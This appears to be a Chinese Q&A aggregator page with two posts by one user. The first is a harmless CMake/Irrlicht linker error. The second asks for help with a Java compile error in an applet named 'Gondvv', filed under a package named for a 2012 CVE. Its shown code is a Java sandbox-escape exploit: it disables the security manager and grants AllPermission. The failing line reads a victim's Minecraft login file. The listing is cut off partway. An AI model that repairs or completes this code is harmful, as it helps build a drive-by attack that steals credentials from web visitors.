小编alf*_*lfa的帖子

尝试将Irrlicht静态库包含到我的cmake项目中时,U有一个编译错误

编译错误:

max@max-MS-7369:~/Desktop/survival/build$ make Scanning dependencies   of target survival
[ 33%] Building CXX object    src/CMakeFiles/survival.dir/technic.cpp.o
[ 66%] Building CXX object   src/CMakeFiles/survival.dir/render.cpp.o
[100%] Building CXX object    src/CMakeFiles/survival.dir/survival.cpp.o
Linking CXX executable    ../debug/survival
/usr/bin/ld:    ../../irrlicht/lib/Linux/libIrrlicht.a(CIrrDeviceLinux.o): undefined   reference to symbol 'XConvertSelection'
/usr/bin/ld: note:    'XConvertSelection' is defined in DSO    /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/libX11.so  so try adding it to the linker command line
/usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/libX11.so: could not read symbols: Invalid operation
collect2: ld returned 1 exit status
make[2]: *** [debug/survival] Error 1
make[1]: ***    [src/CMakeFiles/survival.dir/all] Error 2
make: *** [all] …

我是java的新手,有一个编译错误:

/tmp/jc_16831/Gondvv.java:71: cannot find symbol

symbol  : method File(java.lang.String)

location: class Gondvv

File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );

我包括File类,所以我没有得到它..

代码在这里:

package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.lang.String;
import java.net.*;
import java.security.*;
import java.security.cert.Certificate;
import java.io.*;
import java.io.File;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain …